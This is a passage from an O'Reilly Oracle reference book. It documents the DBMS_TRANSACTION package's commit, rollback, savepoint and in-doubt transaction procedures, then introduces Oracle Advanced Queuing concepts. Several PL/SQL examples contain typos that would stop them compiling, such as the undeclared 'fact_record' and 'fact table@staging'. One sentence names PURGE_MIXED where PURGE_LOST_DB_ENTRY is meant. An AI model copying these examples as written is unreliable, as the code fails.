In the following example, we address a common data-warehousing scenario. We want to promote daily extract data from our legacy systems to each of our data marts and our corporate data warehouse. First, the extract data is summarized and loaded into a staging database copy of the fact table. Then, this fact table's data is promoted to each of the data marts and the data warehouse. The marketing department wants its data mart loaded very aggressively (i.e., ADVISE_COMMIT). The accounting department, being more conservative, wants its data mart loaded with caution (i.e., ADVISE_ROLLBACK). Finally, management does not have a preference for loading the data warehouse. We could run the following PL/SQL locally from our staging database:

BEGIN
   FOR fact_rec IN (SELECT * FROM fact_load_table)
   LOOP
      DBMS_TRANSACTION.ADVISE_COMMIT;
      INSERT INTO fact_table@marketing_data_mart
         VALUES (fact_rec.product_id, fact_rec.location_id,
         fact_record.period_id, fact_rec.numeric_value1);

      DBMS_TRANSACTION.ADVISE_ROLLBACK;
      INSERT INTO fact_table@accounting_data_mart
         VALUES (fact_rec.product_id, fact_rec.location_id,
         fact_record.period_id, fact_rec.numeric_value1);

       DBMS_TRANSACTION.ADVISE_NOTHING;
       INSERT INTO fact_table@corp_data_warehouse
         VALUES (fact_rec.product_id, fact_rec.location_id,
         fact_record.period_id, fact_rec.numeric_value1);

      COMMIT;
   END LOOP;
END;
/

4.2.3 Committing Data

The DBMS_TRANSACTION package offers a number of programs you can use to issue COMMITs in your application.

4.2.3.1 The DBMS_TRANSACTION.COMMIT procedure

The COMMIT procedure is provided primarily for completeness. It is equivalent to the COMMIT command of PL/SQL. Here's the header for this procedure:

PROCEDURE DBMS_TRANSACTION.COMMIT;

There is no advantage to using this program instead of the COMMIT command.

4.2.3.2 The DBMS_TRANSACTION.COMMIT_COMMENT procedure

The COMMIT_COMMENT procedure specifies what in-doubt transaction comment is sent to remote databases during distributed transactions. The specification for the procedure follows:

PROCEDURE DBMS_TRANSACTION.COMMIT_COMMENT (cmnt IN VARCHAR2);

This comment (cmnt parameter) appears on the remote database in the TRAN_COMMENT column of the DBA_2PC_PENDING data dictionary view if the distributed transaction becomes in doubt (i.e., a network or machine failure occurs during the commit). The remote database administrator can then review the DBA_2PC_PENDING information and manually commit or roll back in-doubt transactions using the FORCE clause of the COMMIT or ROLLBACK commands.

In the following example, we update our previous data mart and data warehouse promotion PL/SQL code to utilize the COMMIT_COMMENT procedure:

BEGIN
   FOR fact_rec IN (SELECT * FROM fact_load_table)
   LOOP
      DBMS_TRANSACTION.ADVISE_COMMIT;
      INSERT INTO fact_table@marketing_data_mart
         VALUES (fact_rec.product_id,
             fact_rec.location_id, fact_record.period_id,
             fact_record.numeric value1);

      DBMS_TRANSACTION.ADVISE_ROLLBACK;
      INSERT INTO fact_table@accounting_data_mart
         VALUES (fact_rec.product_id, fact_rec.location_id,
             fact_record.period_id,
             fact_rec.numeric_value1);

      DBMS_TRANSACTION.ADVISE_NOTHING;
       INSERT INTO fact_table@corp_data_warehouse
         VALUES (fact_rec.product_id,
             fact_rec.location_id, fact_record.period_id,
             fact_rec.numeric_value1);

      DBMS_TRANSACTION.COMMIT_COMMENT
         ('Fact Load for date: '||TO_CHAR(sysdate,'MON-DD-YYYY'));
   END LOOP;
END;
/

4.2.3.3 The DBMS_TRANSACTION.COMMIT_FORCE procedure

The COMMIT_FORCE procedure manually commits local in doubt, distributed transactions. Here's the specification for the procedure:

PROCEDURE DBMS_TRANSACTION.COMMIT_FORCE
    (xid IN VARCHAR2
    ,scn IN VARCHAR2 DEFAULT NULL);

Parameters are summarized in the following table.

Parameter | Description
xid | The transaction's local or global transaction ID. To find these transaction IDs, query the data dictionary view DBA_2PC_PENDING.
scn | System change number (SCN) under which to commit the transaction.

Specifying a system change number (scn parameter) allows you to commit an in-doubt transaction with the same SCN assigned by other nodes, thus maintaining the synchronized commit time of the distributed transaction. If the scn parameter is omitted, the transaction is committed using the current SCN.

Any decisions to force in-doubt transactions should be made after consulting with the database administrator(s) at the remote database location(s). If the decision is made to locally force any transactions, the database administrator should either commit or roll back such transactions (as was done by nodes that successfully resolved the transactions). Otherwise, the administrator should query the DBA_2PC_PENDING view's ADVICE and TRAN_COMMENT columns for further insight.

For more information on this topic, see "Manually Overriding In-Doubt Transactions" in the Oracle Corporation document Oracle8 Server Distributed Systems.

4.2.4 Rolling Back Changes

The DBMS_TRANSACTION package offers a number of programs you can use to issue rollbacks in your application.

4.2.4.1 The DBMS_TRANSACTION.ROLLBACK procedure

The ROLLBACK procedure is provided primarily for completelness. It is equivalent to the ROLLBACK command of PL/SQL. The header for this procedure follows:

PROCEDURE DBMS_TRANSACTION.ROLLBACK;

There is no advantage to using this program instead of the ROLLBACK command.

4.2.4.2 The DBMS_TRANSACTION.ROLLBACK_FORCE procedure

The ROLLBACK_FORCE procedure manually rolls back local in-doubt, distributed transactions. The specification for the procedure is,

PROCEDURE DBMS_TRANSACTION.ROLLBACK_FORCE (xid IN VARCHAR2);

where xid identifies the transaction's local or global transaction ID. To find these transaction IDs, query the data dictionary view DBA_2PC_PENDING.

Any decisions to force in-doubt transactions should be made after consulting with the database administrator(s) at the remote database location(s). If the decision is made to locally force any transactions, the database administrator should either commit or roll back such transactions (as was done by nodes that successfully resolved the transactions). Otherwise, the administrator should query the DBA_2PC_PENDING view's ADVICE and TRAN_COMMENT columns for further insight.

For more information on this topic, see "Manually Overriding In-Doubt Transactions" in the Oracle Corporation document Oracle8 Server Distributed Systems.

4.2.4.3 The DBMS_TRANSACTION.SAVEPOINT procedure

The SAVEPOINT procedure is equivalent to the SAVEPOINT command, which is already implemented as part of PL/SQL. The header for this procedure is,

PROCEDURE DBMS_TRANSACTION.SAVEPOINT (savept IN VARCHAR2);

where savept specifies the savepoint.

Why would you use this procedure and not simply rely on the SAVEPOINT command? When you use SAVEPOINT, you must use an "undeclared identifier" for the savepoint:

BEGIN
   SAVEPOINT right_here;
   do_my_stuff;
EXCEPTION
   WHEN OTHERS
   THEN
      ROLLBACK TO right_here;
END;

The "right_here" identifier is not declared anywhere; it is simply hard-coded into your application. With the DBMS_TRANSACTION programs, you can soft code these savepoint names, as you can see from the following block:

DECLARE
   v_sp VARCHAR2(30) := 'right_here';
BEGIN
   DBMS_TRANSACTION.SAVEPOINT (v_sp);
   do_my_stuff;

EXCEPTION
   WHEN OTHERS
   THEN
      /* Soft-coded rollback to, as well! */
      DBMS_TRANSACTION.ROLLBACK_SAVEPOINT (v_sp);
END;
/

4.2.4.4 The DBMS_TRANSACTION.ROLLBACK_SAVEPOINT procedure

The ROLLBACK_SAVEPOINT procedure is equivalent to the ROLLBACK TO command in PL/SQL. The header for this procedure is,

PROCEDURE DBMS_TRANSACTION.ROLLBACK_SAVEPOINT (savept IN VARCHAR2);

where savept specifies the savepoint.

You should use this program in coordination with the SAVEPOINT procedure, as illustrated in the example in the previous section. With this program, you can roll back to a savepoint that is not hard-coded into your application.

4.2.4.5 The DBMS_TRANSACTION.USE_ROLLBACK_SEGMENT procedure

The USE_ROLLBACK_SEGMENT procedure assigns the current transaction to the specified rollback segment. This option also establishes the transaction as a read-write transaction.

Here's the specification for the procedure:

PROCEDURE DBMS_TRANSACTION.USE_ROLLBACK_SEGMENT (rb_name IN VARCHAR2);

The specified rollback segment (rb_name) must be online. Often, the rollback specified is a large one that is kept offline during the day and is specifically enabled at night for large batch jobs. You cannot use both the DBMS_TRANSACTION.READ_ONLY (see next section) and the USE_ROLLBACK_SEGMENT procedures within the same transaction. Read-only transactions do not generate rollback information and thus cannot be assigned rollback segments.

In the following example, we have modified our data warehousing extract promotion program to reference the staging fact table remotely in order to load our local fact table -- and to do so utilizing the big rollback segment. This version of the code has the advantage that it could be run without change from each remote database (assuming that each remote database had a big rollback segment named BIG_RBS).

BEGIN
   DBMS_TRANSACTION.USE_ROLLBACK_SEGMENT('BIG_RBS');
   INSERT INTO fact_table
      SELECT * FROM fact_table@staging;
   COMMIT;
 END;
/

4.2.5 Setting Transaction Characteristics

DBMS_TRANSACTION offers several programs that set various characteristics of the transaction for your session.

4.2.5.1 The DBMS_TRANSACTION.READ_ONLY procedure

The READ_ONLY procedure establishes transaction-level read consistency (i.e., repeatable reads). Here's the header for this program:

PROCEDURE DBMS_TRANSACTION.READ_ONLY;

Once a transaction is designated as read-only, all queries within that transaction can see only changes committed prior to that transaction's start. Hence, read-only transactions permit you to issue two or more queries against tables that may be undergoing concurrent inserts or updates, and yet return results consistent as of the transaction's start. The READ_ONLY procedure is quite useful for reports. Long-running read-only transactions can receive a "snapshot too old" error (ORA-01555). If this occurs, increase rollback segment sizes.

In the following example, we can separately query the order and item tables successfully, regardless of other transactions. Even if someone deletes the item we are interested in while we query the order, a read-consistent image will be maintained in the rollback segments. So we will always be able to see the items for any order we look at.

DECLARE
   lv_order_count INTEGER := 0;
  lv_item_count INTEGER := 0;
BEGIN
   DBMS_TRANSACTION.READ_ONLY;
   SELECT COUNT(*) INTO lv_order_count FROM order WHERE order_number = 12345;
   SELECT COUNT(*) INTO lv_item_count FROM item WHERE order_number = 12345;
END;
/

4.2.5.2 The DBMS_TRANSACTION.READ_WRITE procedure

The READ_WRITE procedure establishes the current transaction as a read-write transaction. As this is the default transaction mode, you will not often need to use this procedure. The header for this program follows:

PROCEDURE DBMS_TRANSACTION.READ_WRITE;

The following example demonstrates using READ_WRITE in a transaction where we want to delete an order and its associated items. However, this example would execute in exactly the same way, even if the READ_WRITE procedure call were commented out.

BEGIN
   DBMS_TRANSACTION.READ_WRITE;
   DELETE FROM item WHERE order_number = 12345;
   DELETE FROM order WHERE order_number = 12345;
END;
/

4.2.5.3 The DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION procedure

The BEGIN_DISCRETE_TRANSACTION procedure streamlines transaction processing so that short transactions can execute more rapidly. The header for this program follows:

PROCEDURE DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION;

During discrete transactions, normal redo information is generated, although it is stored in a separate location in memory. When the discrete transaction commits, the redo information is written to the redo log file and data block changes are applied directly. As a result, there is no need for undo information in rollback segments. The block is then written to the database file in the usual manner. The call to this procedure is effective only until the transaction is committed or rolled back; the next transaction is processed as a standard transaction.

4.2.5.3.1 Restrictions

Although discrete transactions offer improved performance, there are numerous restrictions:

  • The database initialization parameter DISCRETE_TRANSACTIONS_ENABLED must be set to TRUE; otherwise, calls to this procedure are ignored and transactions function normally.

  • Discrete transactions cannot be distributed transactions.

  • Discrete transactions can change each database block only once.

  • Discrete transactions cannot see their own changes (since there are no rollback segments).

  • Discrete transactions cannot perform inserts or updates on both tables involved in a referential integrity constraint.

  • Discrete transactions cannot modify tables containing any LONG values.

4.2.5.3.2 Exceptions

This procedure may raise either of the following exceptions:

DBMS_TRANSACTION.DISCRETE_TRANSACTION_FAILED
DBMS_TRANSACTION.CONSISTENT_READ_FAILURE

4.2.5.3.3 Example

In the following example, we have modified the last version of our data warehousing extract promotion program to utilize discrete transactions. The code is written in such a way that it ensures that the transaction is attempted again in the event of a discrete transaction failure. This coding practice should be followed strictly.

BEGIN
   FOR fact_rec in (SELECT * FROM fact table@staging)
   LOOP
      DBMS_TRANSACTION. BEGIN_DISCRETE_TRANSACTION;
      FOR I in 1 .. 2
      LOOP
         BEGIN
            INSERT INTO fact_table
               VALUES (fact_rec.product_id,
                  fact_rec.location_id,
                  fact_record.period_id,
                  fact_rec.numeric_value1,
                  fact_rec.numeric_value2);
            COMMIT;
            EXIT;
         EXCEPTION
            WHEN DBMS_TRANSACTION.DISCRETE_TRANSACTION_FAILED
            THEN
               ROLLBACK;
         END;
      END LOOP;
   END LOOP;
END;
/

For more information on this topic, see "Using Discrete Transactions" in the Oracle Corporation document Oracle8 Server Tuning.

4.2.6 Cleaning Up Transaction Details

When performing two-phase commits, it is possible to "strand" information about recovery or resolution steps. The two procedures PURGE_MIXED and PURGE_LOST_DB_ENTRY are provided by Oracle to clean up that information.

4.2.6.1 The DBMS_TRANSACTION.PURGE_MIXED procedure

The PURGE_MIXED procedure deletes information about a given in-doubt, distributed transaction that has had mixed outcomes as the consequence of transaction resolution mismatch. This occurs when an in-doubt, distributed transaction is forced to commit or roll back on one node, and other nodes do the opposite. For example, we may force commit on node 1 a distributed transaction that rolled back on node 2. Oracle cannot automatically resolve such inconsistencies, but it does flag entries in the DBA_2PC_PENDING view by setting the MIXED column to "yes." When the database administrator is sure that any inconsistencies for a transaction have been resolved, he or she can call PURGE_MIXED procedure. The specification for the procedure is,

PROCEDURE DBMS_TRANSACTION.PURGE_MIXED (xid IN VARCHAR2);

where xid identifies the mixed transaction's local transaction ID, which can be found in the LOCAL_TRAN_ID column of the data dictionary view DBA_2PC_PENDING.

For more information on this topic, see "Manually Overriding In-Doubt Transactions" in the Oracle Corporation document Oracle8 Server Distributed Systems.

4.2.6.2 The DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure

The PURGE_LOST_DB_ENTRY procedure deletes information about a given in-doubt, distributed transaction that has had mixed outcomes as the consequence of a lost database. This occurs when an in-doubt, distributed transaction is able to commit or roll back on one node and other nodes have either destroyed or recreated their databases. For example, we may successfully commit on node 1 a distributed transaction that is no longer represented in the recreation of the database now on node 2. Oracle cannot automatically resolve such inconsistencies. The information in DBA_2PC_PENDING will never be deleted, and Oracle will try periodically to recover (even though it can't).

When the database administrator is sure that any inconsistencies for a transaction have been resolved, he or she can call the PURGE_MIXED procedure.

The specification for the procedure is,

PROCEDURE DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY (xid IN VARCHAR2);

where xid identifies the mixed transaction's local transaction ID, which can be found in the LOCAL_TRAN_ID column of the data dictionary view DBA_2PC_PENDING.

Oracle's dbmsutil.sql file, which contains the definition of the DBMS_TRANSACTION package, offers some insights into when and how you would use this program. According to that file, the DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure should only be used when the other database is lost or has been recreated. Any other use may leave that other database in an unrecoverable or inconsistent state.

Before you run automatic recovery, the transaction appears in the DBA_2PC_PENDING view in the state "collecting," "committed," or "prepared." If the DBA has forced an in-doubt transaction to have a particular result by using the COMMIT FORCE or ROLLBACK FORCE options, then the additional states FORCED COMMIT or FORCED ROLLBACK may also appear.

Automatic recovery will normally delete entries that are in any of these states. The only exception occurs when the recovery process finds a forced transaction that is in a state inconsistent with other sites in the transaction. In this case, the entry will be left in the table and the MIXED column will be given a value of "yes."

Under certain conditions, it may not be possible for an automatic recovery to execute without errors. For example, a remote database may have been permanently lost. In this case, even if it is recreated, it will be assigned a new database ID. As a result, recovery cannot identify it. (A possible symptom for this situation is when the ORA-02062 error is raised.)

In this case, the DBA may use the DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure to clean up any entries whose state is not "prepared."

The following table indicates what the various states indicate about the transaction and what the DBA actions should be.

State Column | State of Global Transaction | State of Local Transaction | Normal DBA Action | Alternative DBA Action
Collecting | Rolled back | Rolled back | None | PURGE_LOST_DB_ENTRY[1]
Committed | Committed | Committed | None | PURGE_LOST_DB_ENTRY
Prepared | Unknown | Unknown | None | COMMIT_FORCE or ROLLBACK_FORCE
Forced commit | Unknown | Committed | None | PURGE_LOST_DB_ENTRY
Forced rollback | Unknown | Rolled back | None | PURGE_LOST_DB_ENTRY
Forced commit (mixed) | Mixed | Committed | [2] |
Forced rollback (mixed) | Mixed | Rolled back |  |

[1] Use only if significant reconfiguration has occurred so that automatic recovery cannot resolve the transaction. Examples are total loss of the remote database, reconfiguration in software resulting in loss of two-phase commit capability, or loss of information from an external transaction coordinator such as a TP monitor.

[2] Examine manual action to remove inconsistencies, then use the PROCEDURE_PURGE_MIXED. The xid argument must be set to the value of the LOCAL_TRAN_ID column in the DBA_2PC_PENDING table.

For more information on this topic, see "Manually Overriding In-Doubt Transactions" in the Oracle Corporation document Oracle8 Server Distributed Systems, and the dbmsutil file under comments for PURGE_LOST_DB_ENTRY.

4.2.7 Returning Transaction Identifiers

The functions described in this section return indentifiers used by DBMS_TRANSACTION.

4.2.7.1 The DBMS_TRANSACTION.LOCAL_TRANSACTION_ID function

The LOCAL_TRANSACTION_ID function returns the unique identifier for the current transaction. The specification for the function follows:

FUNCTION DBMS_TRANSACTION.LOCAL_TRANSACTION_ID
   (create_transaction IN BOOLEAN := FALSE)
RETURN VARCHAR2;

The create_transaction parameter specifies whether to create a new transaction or use the current one. The function returns NULL if there is no current transaction.

So in your session, the transaction ID begins as NULL and is assigned a value upon first DML operation (transaction initiation). Transaction closure (COMMIT or ROLLBACK) nullifies the transaction ID. Explicit transaction initiation (passing TRUE for second argument to procedure call) assigns a new transaction ID value, regardless of whether you've actually started a transaction.

See an example of using this function in the next section (STEP_ID).

4.2.7.2 The DBMS_TRANSACTION.STEP_ID function

The STEP_ID function returns the unique positive integer that orders the DML operations of the current transaction. Here's the specification for the function:

FUNCTION DBMS_TRANSACTION.STEP_ID RETURN NUMBER;

If a transaction has not been initiated, then this function returns NULL. Values of step ID across transactions do not appear to have any guaranteed relationship to each other. Within a transaction, however, they will always be increasing.

The following script (written by John Beresniewicz) demonstrates the usage and output of the LOCAL_TRANSACTION_ID and STEP_ID functions:

/* Filename on companion disk: transid.sql */*
set serveroutput on size 1000000
CREATE TABLE foo (col1 NUMBER);
DECLARE
   trx   VARCHAR2(200);
   step  NUMBER;

   PROCEDURE printem(message_IN IN VARCHAR2)
   IS
   BEGIN
      DBMS_OUTPUT.PUT_LINE(message_IN);
      DBMS_OUTPUT.PUT_LINE
         ('Trx id: '||RPAD(NVL(trx,'NULL'),30)||
          'Step: '||NVL(TO_CHAR(step),'NULL') );
   END printem;

   PROCEDURE getem
   IS
   BEGIN
      trx := DBMS_TRANSACTION.local_transaction_id;
      step := DBMS_TRANSACTION.step_id;
   END getem;

BEGIN
   /* close any open transaction */
   COMMIT;
   /* how does it look at start of trx? */
   getem; printem('BEGIN');
   /*
   || do some DML and see  how step changes
   */
   INSERT INTO foo SELECT ROWNUM FROM dictionary;
   getem; printem('INSERT');
   UPDATE foo SET col1 = col1 + 1;
   getem; printem('UPDATE');
   DELETE FROM foo WHERE MOD(col1,2) = 0;
   getem; printem('DELETE');
   /*
   || now commit, they should be null
   */
   COMMIT;
   getem; printem('COMMIT');
   /*
   || now explicitly open a new transaction
   */
   trx := DBMS_TRANSACTION.local_transaction_id(TRUE);
   getem; printem('NEW TRX FORCED');
END;
/

The results of this script follow:

SQL> @transid.sql
Table created.
BEGIN
Trx id: NULL                          Step: NULL
INSERT
Trx id: 1.6.28680                     Step: 42802896748631309
UPDATE
Trx id: 1.6.28680                     Step: 42802896748632625
DELETE
Trx id: 1.6.28680                     Step: 42802896748633616
COMMIT
Trx id: NULL                          Step: NULL
NEW TRX FORCED
Trx id: 2.7.28508                     Step: 42045333236522790

Previous: 4.1 DBMS_LOCK: Creating and Managing Resource Locks | Oracle Built-in Packages | Next: 5. Oracle Advanced Queuing
4.1 DBMS_LOCK: Creating and Managing Resource Locks | Book Index | 5. Oracle Advanced Queuing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] Oracle Advanced Queuing

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 4.2 DBMS_TRANSACTION: Interfacing to SQL Transaction Statements Chapter 5 Next: 5.2 Getting Started with Oracle AQ

5. Oracle Advanced Queuing

Contents:
Oracle AQ Concepts
Getting Started with Oracle AQ
Oracle AQ Nonprogram Elements
DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only)
DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
Oracle AQ Database Objects
Oracle AQ Examples

Oracle8 offers a facility (new to Oracle 8) called Oracle AQ (Oracle Advanced Queuing, referred to as AQ in this chapter) that will make it much easier for developers to build applications that require deferred execution of activity. Oracle is positioning Oracle AQ as an alternative to the queuing mechanisms of teleprocessing monitors and messaging interfaces. Oracle AQ will serve as a foundation technology for workflow management applications, both those delivered by Oracle Corporation itself and those implemented by third parties.

From a PL/SQL standpoint, Oracle AQ is made available through two packages: DBMS_AQADM and DBMS_AQ. The DBMS_AQADM package is the interface to the administrative tasks of Oracle AQ. These tasks include:

  • Creating or dropping queue tables that contain one or more queues

  • Creating, dropping, and altering queues, which are stored in a queue table

  • Starting and stopping queues in accepting message creation or consumption

Most users of the Oracle AQ facility will not work with DBMS_AQADM. The DBA will most likely initialize all needed queue tables and queues. PL/SQL developers will instead work with the DBMS_AQ, whose tasks include:

  • Creating a message to the specified queue

  • Consuming a message from the specified queue

Most of the background information presented early in this chapter applies to both packages. Later, we'll provide individual discussions of the two packages and their programs.

Oracle AQ is full of features and offers tremendous flexibility in how you manipulate messages in queues. It also has only a handful of programs with which to administer and operate the queues. This relatively small number of procedures and functions can, nevertheless, be misleading. You will probably encounter lots of frustrating moments as you come up to speed on Oracle AQ (I know I did).

Some of the frustration will arise from the way that Oracle allows you to modify the characteristics of queues, queue tables, and specific enqueue and dequeue operations by setting individual fields of PL/SQL records, which are then passed to the appropriate programs as arguments. If you are not comfortable with declaring and manipulating record structures in PL/SQL, you should read through Chapter 9 of Oracle PL/SQL Programming (O'Reilly & Associates, 1997) before continuing with this chapter.

NOTE: Oracle AQ first became available with Oracle 8.0.3. A number of Oracle AQ features described in this chapter were added in Oracle 8.0.4. These additions will be noted, but it is generally assumed in this chapter that you have installed and are using Oracle 8.0.4, which should be widely available by the time this book is published.

5.1 Oracle AQ Concepts

Oracle AQ provides message queuing as an integrated part of the Oracle server. It provides this functionality by integrating the queuing system with the database itself. Oracle Corporation is therefore now beginning to describe Oracle8 not only as an object-relational database, but also as a "message-enabled" database. Its intention is to free application developers from having to construct a messaging infrastructure (or rely on a third-party tool such as a TP monitor). Instead they can use AQ and devote their efforts to implementing their own specific business rules.

5.1.1 General Features

The following list summarizes Oracle's perspective on the features of the AQ facility that it offers to developers:

SQL-based access and management

Messages are placed in normal rows in a database table. They can be queried using standard SQL. Thus, users can use SQL to access the message properties, the message history, and the payload. All available SQL technology, such as indexes, can be used to optimize the access to these messages.

Integrated database-level operational support

All standard database features, such as recovery, restart, and enterprise manager, are supported. Oracle AQ queues are implemented in database tables; thus, all the operational benefits of high availability, scalability, and reliability are applicable to queue data. In addition, database development and management tools can be used with queues. For instance, queue tables can be imported and exported.

Structured payload

Users can use object types to structure and manage the payload (i.e., content). RDBMSs in general have had a far richer typing system than messaging systems. Since Oracle8 is an object-relational DBMS, it supports traditional relational types and also user-defined types. Many powerful features are enabled as a result of having strongly typed content (i.e., content whose format is defined by an external type system). These include:

Content-based routing

An external agent can examine the content and route the message to another queue based on the content.

Content-based subscription

A publish and subscribe system built on top of a messaging system can offer content based on subscription.

Querying

The ability to execute queries on the content of the message enables message warehousing.

Retention and message history

Users can specify that messages be retained after consumption. The system administrator can specify the duration for which messages will be retained. Oracle AQ stores information about the history of each message. The information contains the enqueue/dequeue time and the identification of the transaction that executed each request. This allows users to keep a history of relevant messages. The history can be used for tracking, data warehouse, and data mining operations.

Tracking and event journals

If messages are retained they can be related to each other. For example, if a message m2 is produced as a result of the consumption of message m1, m1 is related to m2. This facility allows users to track sequences of related messages. These sequences represent "event journals" that are often constructed by applications. Oracle AQ is designed to let applications create event journals automatically.

NOTE: Oracle AQ does not automatically produce messages as a result of the consumption of other messages. You will do this programmatically. On the other hand, Oracle AQ does automatically track that these messages were processed in the same transaction.

Integrated transactions

The integration of control information with content (data payload) simplifies application development and management.

5.1.2 Enqueue Features

Oracle AQ offers a wide sweep of options for the way you enqueue messages.

Correlation identifier

Users can assign an identifier to each message, thus providing a means of retrieving specific messages at a later time.

Subscription and recipient lists

Multiple consumers can consume a single message. A queue administrator can specify the list of subscribers who can retrieve messages from a queue. Different queues can have different subscribers, and a consumer program can be a subscriber to more than one queue. Further, specific messages in a queue can be directed toward specific recipients who may or may not be subscribers to the queue, thereby overriding the subscriber list.

Prioritization and ordering of messages

It is possible to specify the priority of the enqueued message. An enqueued message can also have its exact position in the queue specified. This means that users have three options to specify the order in which messages are consumed: (a) a sort order specifies which properties are used to order all messages in a queue; (b) a priority can be assigned to each message; (c) a sequence deviation allows you to position a message in relation to other messages. Furthermore, if several consumers act on the same queue, a consumer will get the first message that is available for immediate consumption. A message that is in the process of being consumed by another consumer will be skipped.

Propagation

With Oracle 8.0.4 and later versions, applications can use AQ to communicate with one another without having to be connected to the same database instance or to the same queue. Instead, messages can be propagated from one Oracle AQ environment to another. These AQ instances can be local or remote. AQ propagation relies on database links and Net8.

Message grouping

Messages belonging to one queue can be grouped to form a set that can only be consumed by one user at a time. This requires the queue be created in a queue table that is enabled for message grouping. Messages belonging to a group must be created in the same transaction, and all messages created in one transaction belong to the same group. This feature allows users to segment complex messages into simple messages. For example, messages directed to a queue containing invoices could be constructed as a group of messages starting with the header, followed by messages representing details, followed by the trailer message.

Time specification and scheduling

Delay interval and/or expiration intervals can be specified for an enqueued message, thereby providing windows of execution. A message can be marked as available for processing only after a specified time elapses (a delay time) and has to be consumed before a specified time limit expires. Messages can also be scheduled for propagation from a queue to a local or remote destination (Oracle 8.0.4 only). AQ administrators have the option to specify the start time, propagation window, and a function that determines the next propagation window for scheduling on a periodic basis.

5.1.3 Dequeue Features

As you would expect, Oracle AQ also allows you to dequeue messages in a variety of methods.

Multiple recipients

A message in a queue can be retrieved by multiple recipients without the need to store multiple copies of that same message.

Navigation of messages for dequeuing

Users have several options for selecting a message from a queue. They can select the first message, or, once they have selected a message and established a position, they can retrieve the next. The selection is influenced by the ordering or can be limited by specifying a correlation identifier. Users can also retrieve a specific message using the message identifier.

Multiple dequeue modes

A dequeue request can either browse or remove a message. If a message is browsed, it remains available for further processing; if a message is removed, it is no longer available for dequeue requests. Depending on the queue properties, a removed message may be retained in the queue table.

Message-waiting optimization

A dequeue could be issued against an empty queue. To avoid polling for the arrival of a new message, a user can specify if and for how long the request is allowed to wait for the arrival of a message.

Retries with delays

A message must be consumed exactly once. If an attempt to dequeue a message fails and the transaction is rolled back, the message will be made available for reprocessing after some user-specified delay elapses. Reprocessing will be attempted up to the user-specified limit.

Optional transaction protection

Enqueue/dequeue requests are normally part of a transaction that contains the requests, thereby providing the desired transactional behavior. Users can, however, specify that a specific request is a transaction by itself, making the result of that request immediately visible to other transactions. This means that messages can be made visible to the external world either as soon as the ENQUEUE or DEQUEUE statement is issued, or only after the transaction is committed.

Exception handling

A message may not be consumed within given constraints -- that is, within the window of execution or within the limits of the retries. If such a condition arises, the message will be moved to a user-specified exception queue.

5.1.4 Propagation Features

Oracle AQ with Oracle 8.0.4 supports propagation of messages, allowing automated coordination of enqueuing and dequeuing operations. The recipient of a message can be either in the same database as AQ (local) or in another database (remote). Since Oracle8 does not support distributed object types, it is not possible to rely on standard database links to perform remote AQ operations. Instead, Oracle AQ offers a special message propagation facility to allow an agent to enqueue to a remote queue.

You can configure AQ so that any messages enqueued in one (local) queue will be automatically propagated to another queue in either the local or remote database. AQ checks automatically that the type of the local queue to which the message is enqueued is the same as the type of the remote queue (same payload type). You can perform this same check by calling the DBMS_AQADM.VERIFY_QUEUE_TYPES procedure.

There are two useful ways to think about employing message propagation in Oracle AQ: fanning out and funnelling in messages.

Fanning out messages

Suppose you want to distribute a message to a large number of recipients without forcing those recipients to perform dequeue operations from a single queue. This is most important when working in a distributed database environment. You can accomplish this by defining another queue as a recipient of a message. When a queue is a recipient for a message, the actual recipients are the set of agents defined in the subscription list for that queue.

Consider the following scenario: an international human rights organization based in London has received news of the torture and imprisonment of a dissident. It needs to notify its branch organizations throughout the world as quickly as possible -- using Oracle AQ, of course. The subscribers to its urgent_alert queue consist of each of its regional offices: urgent_alert@new_york, urgent_alert@johannesburg, and so on. Each of the regional urgent alert queues has as its subscribers the country offices. So the Johannesburg queue has the following subscribers: urgent_alert@harare, urgent_alert@cairo, and so on.

When the headquarters office enqueues the alert message to its urgent_alert queue, the message will be propagated out to each regional office queue. That message will then in turn be propagated to each country office. Figure 5.1 illustrates the fanning out technique.

Figure 5.1: Fanning out messages

Funnelling in messages

It is also very useful to concentrate messages from different queues back to a single queue. Examples of this technique, also called "compositing," include roll-up of monthly accounting figures from regional offices and confirmation messages in response to a broadcast.

If we use the same scenario as with the fanning out approach, each country office employs a report_back queue to confirm that urgent alerts have been received and responded to. The subscriber list for each office's re port_back queue include the regional office as well as the international office. As a result, the London-based report_back@london_hq will automatically receive a copy of all confirmation reports without having to wait for those messages to be transferred back through the individual regional offices. Figure 5.2 illustrates the funneling in technique.

Figure 5.2: Funneling in messages

5.1.5 A Glossary of Terms

Before diving into the sometimes overwhelming details of configuring queue tables and queues and enqueuing and dequeuing messages, let's review some of the terms used throughout this chapter. Then we'll take a step back and look at the process flow for the queuing facility. At that point, you'll have a much easier job understanding and then deploying Oracle AQ.

The basic elements of Oracle AQ follow:

Message

The smallest unit of work in the queue, consisting of information about how the message is to be treated (metadata) and the payload (the data supplied by the user). The metadata or control information is used by AQ to manage the messages. The payload information is stored in the queue and is transparent to AQ (that is, AQ does not try to interpret that information in any way). A message resides in only one queue. It is created by a call to the DBMS_AQ.ENQUEUE procedure and is dequeued by a call to the DBMS_AQ.DEQUEUE procedure.

Queue

A queue is a storage space for messages. You can create two different types of queues: user queues, also known as normal queues, and exception queues. The user queue is employed for standard message processing. The exception queue is used to hold messages if attempts to retrieve the message through a dequeue operation fail (this is done automatically by AQ) or if the message is not dequeued before its expiration time. You will use the AQ administrative interface, the DBMS_AQADM package, to create, start, stop, and drop queues.

Queue table

A queue table is a database table that holds one or more queues; this queue table is created when you create the queue table. Each queue table also contains a default exception queue. You will use the AQ administrative interface (the DBMS_AQADM package) to create and drop queue tables.

Agent

